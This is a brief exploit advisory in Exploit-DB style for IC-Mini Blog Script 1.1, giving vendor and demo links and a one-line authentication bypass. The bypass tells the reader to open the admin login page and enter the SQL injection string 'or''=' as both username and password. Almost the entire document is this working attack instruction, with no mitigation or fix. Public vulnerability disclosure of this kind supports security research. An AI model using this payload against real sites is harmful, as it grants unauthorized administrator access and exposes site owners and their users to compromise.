# # # # # # Exploit Title: IC-Mini Blog Script - Authentication Bypass # Google Dork: N/A # Date: 20.01.2017 # Vendor Homepage: http://www.icloudcenter.com/ # Software Buy: http://www.icloudcenter.com/mini_blog.htm # Demo: http://www.icloudcenter.net/demos/mini_blog/ # Version: 1.1 # Tested on: Win7 x64 # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Mail : ihsan[beygir]ihsan[nokta]net # # # # # # Exploit : # http://localhost/[PATH]/index.php?admin=login and set Username and Password to 'or''=' and hit enter. # # # # #